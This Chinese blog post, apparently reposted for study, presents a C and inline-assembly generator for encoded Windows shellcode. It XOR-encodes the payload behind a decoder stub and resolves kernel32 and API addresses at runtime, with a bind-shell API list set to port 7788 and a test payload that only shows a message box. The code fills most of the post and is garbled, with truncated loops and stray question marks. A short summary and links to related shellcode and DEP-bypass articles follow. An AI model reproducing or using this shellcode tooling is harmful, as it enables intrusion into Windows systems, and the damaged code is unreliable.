学习ShellCode(一)

前几天看了看x的shellcode,有很多东西部是很懂,今天找了找在安全焦点http://www.xfocus.net/找到一个高人写的,看了看思路,写得很不错,所以贴出来大家看看,以方便以后学习用阿!

?

这个是通用的shellcode,自己在vc++下编译一下!

/*
??????????? 使用C语言编写通用shellcode的程序
出处:internet
修改:Hume/冷雨飘心
测试:Win2K SP4 Local

*/
#include
#include
#include

#define? DEBUG 1

//
//函数原型
//
void???? DecryptSc();
void???? ShellCodes();
void???? PrintSc(char *lpBuff, int buffsize);

//
//用到的部分定义
//
#define? BEGINSTRLEN??? 0x08??? //开始字符串长度
#define? ENDSTRLEN????? 0x08??? //结束标记字符的长度
#define? nop_CODE?????? 0x90??? //填充字符
#define? nop_LEN??????? 0x0???? //ShellCode起始的填充长度
#define? BUFFSIZE?????? 0x20000 //输出缓冲区大小

#define? sc_PORT??????? 7788??? //绑定端口号 0x1e6c
#define? sc_BUFFSIZE??? 0x2000? //ShellCode缓冲区大小

#define? Enc_key??????? 0x7A??? //编码密钥

#define? MAX_Enc_Len??? 0x400?? //加密代码的最大长度 1024足够?
#define? MAX_Sc_Len???? 0x2000? //hellCode的最大长度 8192足够?
#define? MAX_api_strlen 0x400?? //APIstr字符串的长度
#define? API_endstr???? "strend"//API结尾标记字符串???
#define? API_endstrlen? 0x06??? //标记字符串长度

#define PROC_BEGIN __asm? _emit 0x90 __asm? _emit 0x90 __asm? _emit 0x90 __asm? _emit 0x90/
?????????????????? __asm? _emit 0x90 __asm? _emit 0x90 __asm? _emit 0x90 __asm? _emit 0x90
#define PROC_END PROC_BEGIN
//---------------------------------------------------
enum{?????? //Kernel32
??????????? _CreatePipe,
??????????? _CreateProcessA,
??????????? _CloseHandle,
??????????? _PeekNamedPipe,
??????????? _ReadFile,
??????????? _WriteFile,
??????????? _ExitProcess,

??????????? //WS2_32
??????????? _socket,
??????????? _bind,
??????????? _listen,
??????????? _accept,
??????????? _send,
??????????? _recv,
??????????? _ioctlsocket,
??????????? _closesocket,

??????????? //本机测试User32
??????????? _MessageBeep,
??????????? _MessageBoxA,
??????????? API_num
};

//
//代码这里开始
//
int __cdecl main(int argc, char **argv)
{
? //shellcode中要用到的字符串
? static char ApiStr[]="/x1e/x6c"?? //端口地址

??????????? //Kernel32的API函数名称
??????????? "CreatePipe""/x0"
??????????? "CreateProcessA""/x0"
??????????? "CloseHandle""/x0"
??????????? "PeekNamedPipe""/x0"
??????????? "ReadFile""/x0"
??????????? "WriteFile""/x0"
??????????? "ExitProcess""/x0"

??????????? //其它API中用到的API
??????????? "wsock32.dll""/x0"
??????????? "socket""/x0"
??????????? "bind""/x0"
??????????? "listen""/x0"
??????????? "accept""/x0"
??????????? "send""/x0"
??????????? "recv""/x0"
??????????? "ioctlsocket""/x0"
??????????? "closesocket""/x0"
??????????? //本机测试
??????????? "user32.dll""/x0"
??????????? "MessageBeep""/x0"
??????????? "MessageBoxA""/x0"

??????????? "/x0/x0/x0/x0/x0"
??????????? "strend";

? char? *fnbgn_str="/x90/x90/x90/x90/x90/x90/x90/x90/x90";? //标记开始的字符串
? char? *fnend_str="/x90/x90/x90/x90/x90/x90/x90/x90/x90";? //标记结束的字符串

? char? buff[BUFFSIZE];???????? //缓冲区
? char? sc_buff[sc_BUFFSIZE];?? //ShellCodes缓冲
? char? *pDcrypt_addr,
??????? *pSc_addr;

? int?? buff_len;?????????????? //缓冲长度
? int?? EncCode_len;??????????? //加密编码代码长度
? int?? Sc_len;???????????????? //原始ShellCode的长度

? int?????? i,k;
? unsigned? char ch;

? //
? //获得DecryptSc()地址,解码函数的地址,然后搜索MAX_Enc_Len字节,查找标记开始的字符串
? //获得真正的解码汇编代码的开始地址,MAX_Enc_Len定义为1024字节一般这已经足够了,然后将这
? //部分代码拷贝入待输出ShellCode的缓冲区准备进一步处理
? //
? pDcrypt_addr=(char *)DecryptSc;

? //定位其实际地址,因为在用Visual Studio生成调试版本调试的情况下,编译器会生成跳转表,
? //从跳转表中要计算得出函数实际所在的地址,这只是为了方便用VC调试

? ch=*pDcrypt_addr;
? if (ch==0xe9)
? {
????? pDcrypt_addr++;
????? i=*(int *)pDcrypt_addr;
????? pDcrypt_addr+=(i+4);????? //此时指向函数的实际地址
? }
? //找到解码代码的开始部分
? for(k=0;k

? if (k? else
? {
????? //显示错误信息
????? k=0;
????? printf("/nNo Begin str defined in Decrypt function!Please Check before go on.../n");
????? return 0;
? }

? for(k=0;k

? if (k? else
? {
????? k=0;
????? printf("/nNo End str defined in Decrypt function!Please Check..../n");
????? return 0;
? }

? memset(buff,nop_CODE,BUFFSIZE);?????????????????????? //缓冲区填充
? memcpy(buff+nop_LEN,pDcrypt_addr,EncCode_len);??????? //把DecryptSc代码复制进buff

? //
? //处理ShellCode代码,如果需要定位到代码的开始
? //
? pSc_addr=(char *)ShellCodes;???? //shellcode的地址

? //调试状态下的函数地址处理,便于调试
? ch=*pSc_addr;
? if (ch==0xe9)
? {
????? pSc_addr++;
????? i=*(int *)pSc_addr;
????? pSc_addr+=(i+4);????? //此时指向函数的实际地址
? }

? //如果需要定位到实际ShellCodes()的开始,这个版本中是不需要的
? /*
? for (k=0;k? if (k? */

? //找到shellcode的结尾及长度
? for(k=0;k? if (k? else
? {
????? k=0;
????? printf("/nNo End str defined in ShellCodes function!Please Check..../n");
????? return 0;
? }

? //把shellcode代码复制进sc_buff
? memcpy(sc_buff,pSc_addr,Sc_len);

? //把字符串拷贝在shellcode的结尾
? for(i=0;i? if(i>=MAX_api_strlen)
? {
????? printf("/nNo End str defined in API strings!Please Check..../n");
????? return 0;
? }
? memcpy(sc_buff+k,ApiStr,i);

? Sc_len+=i;??????? //增加shellcode的长度

? //
? //对shellcode进行编码算法简单,可根据需要改变
? //
? k=EncCode_len+nop_LEN;??? //定位缓冲区应存放ShellCode地址的开始

? for(i=0;i

???? ch=sc_buff[i]^Enc_key;
???? //对一些可能造成shellcode失效的字符进行替换
???? if(ch???? {
??????? buff[k]='0';
??????? ++k;
??????? ch+=0x31;
???? }
???? //把编码过的shellcode放在DecryptSc代码后面
???? buff[k]=ch;
???? ++k;
? }

? //shellcode的总长度
? buff_len=k;

? //打印出shellcode
? PrintSc(buff,buff_len);
? //buff[buff_len]=0;
? //printf("%s",buff);

#ifdef DEBUG
? _asm{
????? lea eax,buff
????? jmp eax
????? ret
? }
#endif

??? return? 0;
}

//解码shellcode的代码
void? DecryptSc()
{
?????? __asm{

/////////////////////////
//定义开始标志
/////////////////////////
????????? PROC_BEGIN??? //C macro to begin proc

????????? jmp?? next
getEncCodeAddr:
????????? pop?? edi
????????? push? edi
????????? pop?? esi
????????? xor?? ecx,ecx
Decrypt_lop:
????????? lodsb
????????? cmp? al,cl
????????? jz?? shell
????????? cmp? al,0x30? //判断是否为特殊字符
????????? jz?? special_char_clean
store:?????
????????? xor? al,Enc_key
????????? stosb
????????? jmp? Decrypt_lop
special_char_clean:??
????????? lodsb
????????? sub al,0x31
????????? jmp store
next:????
????????? call? getEncCodeAddr
????????? //其余真正加密的shellcode代码会连接在此处
shell:???

/////////////////////////
//定义结束标志
/////////////////////////
????????? PROC_END????? //C macro to end proc

????????? }
}????????

//
//shellcode代码
//
void ShellCodes()
{
??? //API低址数组???
??? FARPROC???? API[API_num];

??? //自己获取的API地址
??? FARPROC???? GetProcAddr;
??? FARPROC??? LoadLib;

??? HANDLE????? hKrnl32;
??? HANDLE????? libhandle;

??? char??????? *ApiStr_addr,*p;
???
??? int???????? k;
??? u_short???? shellcodeport;

??? //测试用变量
??? char??????? *testAddr;

/*
??? STARTUPINFO siinfo;
??? SOCKET????? listenFD,clientFD;
??? struct????? sockaddr_in server;
??? int???????? iAddrSize = sizeof(server);
??? int???????? lBytesRead;
??? PROCESS_INFORMATION ProcessInformation;
??? HANDLE????? hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;
??? SECURITY_ATTRIBUTES sa;

*/

_asm {
??????? jmp??? locate_addr0
getApiStr_addr:
??????? pop??? ApiStr_addr

??????? //开始获取API的地址以及GetProcAddress和LoadLibraryA的地址
??????? //以后就可以方便地获取任何API的地址了

??????? //保护寄存器
??????? pushad

??? xor???? esi,esi
??????? lods??? dword ptr fs:[esi]
???????
Search_Krnl32_lop:
??????? inc???? eax
??????? je????? Krnl32_Base_Ok
??????? dec???? eax
??????? xchg??? esi,eax
??????? LODSD?
??????? jmp???? Search_Krnl32_lop
Krnl32_Base_Ok:

??????? LODSD??????????????????
??????????????????????????????? ;compare if PE_hdr
??????? xchg??? esi,eax
??? find_pe_header:
??????? dec???? esi
??????? xor???? si,si?????????? ;kernel32 is 64kb align
??????? mov???? eax,[esi]
??????? add???? ax,-'ZM'??????? ;??????
??????? jne???? find_pe_header
??????? mov???? edi,[esi+3ch]?? ;.e_lfanew???????
??????? mov???? eax,[esi+edi]
??????? add???? eax,-'EP'?????? ;anti heuristic change this if you are using MASM etc.????
??????? jne???? find_pe_header?
???????
??????? push???? esi
??????????????????????????????? ;esi=VA Kernel32.BASE
??????????????????????????????? ;edi=RVA K32.pehdr???????
??????? mov???? ebx,esi
??????? mov???? edi,[ebx+edi+78h]? ;peh.DataDirectory
???????
??????? push??? edi
??????? push??? esi

??????? mov???? eax,[ebx+edi+20h]? ;peexc.AddressOfNames????????????????
??????? mov???? edx,[ebx+edi+24h]? ;peexc.AddressOfNameOrdinals?????
??????? call??? __getProcAddr
??????? _emit 0x47
??????? _emit 0x65
??????? _emit 0x74
??????? _emit 0x50
??????? _emit 0x72
??????? _emit 0x6F
??????? _emit 0x63
??????? _emit 0x41
??????? _emit 0x64
??????? _emit 0x64
??????? _emit 0x72
??????? _emit 0x65
??????? _emit 0x73
??????? _emit 0x73
??????? _emit 0x0
??????? //db???? "GetProcAddress",0
__getProcAddr:
??????? pop???? edi
??????? mov???? ecx,15???????
??????? sub???? eax,4
next_:???????
??????? add???? eax,4
??????? add???? edi,ecx
??????? sub???? edi,15
??????? mov???? esi,[ebx+eax]
??????? add???? esi,ebx
??????? mov???? ecx,15
??????? repz??? cmpsb
??????? jnz???? next_

??????? pop???? esi
??????? pop???? edi

??????? sub???? eax,[ebx+edi+20h]????? ;peexc.AddressOfNames
??????? shr???? eax,1
??????? add???? edx,ebx
??????? movzx?? eax,word ptr [edx+eax]???????
??????? add???? esi,[ebx+edi+1ch]?????? ;peexc.AddressOfFunctions
??????? add???? ebx,[esi+eax*4]???????? ;ebx=Kernel32.GetProcAddress.addr
??????????????????????????????????????? ;use GetProcAddress and hModule to get other func
??????? pop???? esi???????????????????? ;esi=kernel32 Base

??????? mov???? [hKrnl32],esi?????????? //保存
??????? mov???? [GetProcAddr],ebx?????? //保存

??????? call??? _getLoadLib
??????? _emit 0x4C
??????? _emit 0x6F
??????? _emit 0x61
??????? _emit 0x64
??????? _emit 0x4C
??????? _emit 0x69
??????? _emit 0x62
??????? _emit 0x72
??????? _emit 0x61
??????? _emit 0x72
??????? _emit 0x79
??????? _emit 0x41
??????? _emit 0x0
??????? //db????? "LoadLibraryA",0
???????
_getLoadLib:
??????? push??? esi
??????? call??? ebx
??????? mov???? [LoadLib],eax

??????? //恢复寄存器,避免更多问题
??????? popad
??? }

?? //取出定义的端口地址
?? shellcodeport=*(u_short *)ApiStr_addr;
?? ApiStr_addr+=2;
??
?? ////////////////////////////////测试用
??? testAddr=ApiStr_addr;
?? ////////////////////////////////////

?? //利用GetProcAddress来获得shellcode中所用到的API地址

?? libhandle=hKrnl32;
?? p=ApiStr_addr;

?? k=0;
?? ///*
?? while ( *((unsigned int *)p) != 0)
?? {
?????? ApiStr_addr=p;
?????? while(*p) p++;?? //前进到下一个字符串

?????? if (*( (unsigned int *)(p-4))=='lld.')
?????? {
?????????? libhandle=(HANDLE)LoadLib(ApiStr_addr);? //若为DLL则加载DLL
?????? }
?????? else
?????? {
?????????? API[k]=(FARPROC)GetProcAddr(libhandle,ApiStr_addr);
?????????? k++;
?????? }
??????
?????? ApiStr_addr=++p; //更新指针前进一个字符位置
??????
?? }
??
?? //*/

///////////////////////////////////////////////////////////////////////////
//???????? 下面就可以使用C语言来编写真正实现功能的shellcode了??????????????? //
///////////////////////////////////////////////////////////////////////////
//
//简单测试几个API看是否复合要求
//
API[_MessageBeep](0x10);
API[_MessageBoxA](0,testAddr,0,0x40);
API[_ExitProcess](0);
///////////////////////////////////////////////////////////////////////////
//?????????????????????????? shellcode功能部分结束?????????????????????? //
///////////////////////////////////////////////////////////////////////////

//死循环
die:??
??? goto die;
__asm
??? {
locate_addr0:?
?????????? call getApiStr_addr????? //5 bytes
//真正的字符串数据要连接在此处
???

?

/////////////////////////
//定义结束标志
/////////////////////////
????????? PROC_END????? //C macro to end proc
??????
???? }
}

//
//显示打印生成的shellcode的C string格式代码
//
void PrintSc(char *lpBuff, int buffsize)
{
??? int i,j;
??? char *p;
??? char msg[4];
??? for(i=0;i??? {
??????? if((i%16)==0)
??????????? if(i!=0)
??????????????? printf("/"/n/"");
??????????? else
??????????????? printf("/"");
??????? sprintf(msg,"//x%.2X",lpBuff[i]&0xff);
??????? for( p = msg, j=0; j ??????? {
??????????? if(isupper(*p))
??????????????? printf("%c", _tolower(*p));
??????????? else
??????????????? printf("%c", p[0]);
??????? }
??? }
??? printf("/";/n/*Shell total are %d bytes *//n",buffsize);
}

总结一下:

寻找kernel和api函数地址的定位

1.基本的:暴力获取地址空间;

2.从peb相关数据获取(参考:绿盟月刊44期scz的《通过teb/peb枚举当前进程空间中用户模块列表》)

3.搜索进程的seh链表获取kernel32.UnheadleExceptionFilter地址;

虽然这些对于我来说还是模棱两可的,但是俗话说:“温故而知新”,要经常温故阿!经常学习!

时间: 2024-10-26 05:39:44

学习ShellCode(一)的相关文章

Windows Shellcode学习笔记——shellcode在栈溢出中的利用与优化

本文讲的是Windows Shellcode学习笔记--shellcode在栈溢出中的利用与优化, 0x00 前言 在<Windows Shellcode学习笔记--shellcode的提取与测试>中介绍了如何对shellcode作初步优化,动态获取Windows API地址并调用,并通过程序实现自动提取机器码作为shellcode并保存到文件中. 0x01 简介 先从最入门的缓冲区溢出开始 本文将要结合<0day安全:软件漏洞分析技术>中的"栈溢出原理与实践"

Windows Shellcode学习笔记——通过VirtualProtect绕过DEP

本文讲的是Windows Shellcode学习笔记--通过VirtualProtect绕过DEP, 0x00 前言 在掌握了栈溢出的基本原理和利用方法后,接下来就要研究如何绕过Windows系统对栈溢出利用的重重防护,所以测试环境也从xp转到了Win7(相比xp,Win7的防护更全面).本文将要介绍经典的DEP绕过方法--通过VirtualProtect绕过DEP. 0x01 简介 本文将要介绍以下内容: VS2012的编译配置 利用Immunity Debugger的mona插件自动获取RO

Windows Shellcode学习笔记——通过VisualStudio生成shellcode

本文讲的是Windows Shellcode学习笔记--通过VisualStudio生成shellcode, 0x00 前言 shellcode是一段机器码,常用作漏洞利用中的载荷(也就是payload). 在渗透测试中,最简单高效的方式是通过metasploit生成shellcode,然而在某些环境下,需要定制开发自己的shellcode,所以需要对shellcode的开发作进一步研究. 0x01 简介 编写Shellcode的基本方式有3种: 直接编写十六进制操作码 采用C或者Delphi这

Windows Shellcode学习笔记——Shellcode的提取与测试

本文讲的是Windows Shellcode学习笔记--Shellcode的提取与测试, 0x00 前言 之前在<Windows Shellcode学习笔记--通过VisualStudio生成shellcode>介绍了使用C++编写(不使用内联汇编),实现动态获取API地址并调用,对其反汇编提取shellcode的方法,并开源了测试代码. 接下来在对shellcode进行提取的过程中,发现了当时开源代码的一些bug,所以本文着重解决测试代码的bug,并介绍使用C++开发shellcode需要考

Windows Shellcode学习笔记——利用VirtualAlloc绕过DEP

本文讲的是Windows Shellcode学习笔记--利用VirtualAlloc绕过DEP, 0x00 前言 接着介绍DEP绕过的另一种方法--利用VirtualAlloc绕过DEP.通过VirtualAlloc函数可以申请一段具有可执行属性的内存,相比于VirtualProtect,传入VirtualAlloc的四个参数不需要先读取再赋值,可在shellcode中直接指定,结构更简单.当然,利用Immunity Debugger的mona插件可自动构造利用VirtualAlloc绕过DEP

黑客的关键工具:Shellcode简介

对于初期接触网络安全的人来说,Shellcode是很神秘的东西,对于网络攻击过程中的嗅探信息.漏洞剖析都是可以理解的,但真正利用漏洞入侵时,通过把一段二进制码送入后并执行,就可以获得目标机器的控制权,之后的事情是属于爱好者学习技术,还是黑客的行为,就看攻击者的一念之差了.Shellcode就好象神秘的武器,安全防护变得如此不堪一击.Shellcode究竟是什么样的程序?是什么特殊代码?如何才能学会编写?我下面收集了几类常见的Shellcode,主要是学习使用.它其实也是一般的软件程序,主要是因为

通用ShellCode深入剖析

前言: 在网上关于ShellCode编写技术的文章已经非常之多,什么理由让我再写这种 技术文章呢?本文是我上一篇溢出技术文章<Windows 2000缓冲区溢出技术原理>的姊妹 篇,同样的在网上我们经常可以看到一些关于ShelCode编写技术的文章,似乎没有为初学者准 备的,在这里我将站在初学者的角度对通用ShellCode进行比较详细的分析,有了上一篇的溢出 理论和本篇的通用ShellCode理论,基本上我们就可以根据一些公布的Window溢出漏洞或是自 己对一些软件系统进行反汇编分析出的溢

详情Python编写shellcode注入程序入门教程

背景 本文为入门基础,纯科普,大牛莫喷~ 教程中所有内容仅供学习研究,请勿用于非法用途,否则....我也帮不了你啊... 说起注入,大家第一印象可能还习惯性的停留在sql注入,脚本注入(XSS)等.今天light同(jiao)学(shou)带大家从web端回到操作系统,一起探讨Windows下的经典注入--内存注入,使用python编写一个简单的代码注入程序. 内存注入常见的方法有dll注入和代码注入.Dll注入通俗地讲就是把我们自己的dll注入到目标进程的地址空间内,"寄生"在目标进

从8个方面对移动设备阅读体验进行研究学习

一直想对移动设备阅读体验进行较为完整的研究和学习,但内容太多,涉及到非常多的传统平面设计知识,目前仅初步地完整字体部分.完整的研究框架包括: 1.界面版式设计的方法.常用的栅格分割适合移动设备多分辨率复杂内容的自动排版,内容可控制时是否可以模仿杂志的复杂不规则排版方式,以达到最佳的阅读体验. 2.移动设备上最佳的字体有什么必要的设计要素?如下图,更多的内容包括字体颜色.字间距.行间距和字体渲染等,不同的内容需要不同的字体.随着屏幕分辨率和显示精度的发展,字体也有一个进化过程. 3.屏幕亮度等参数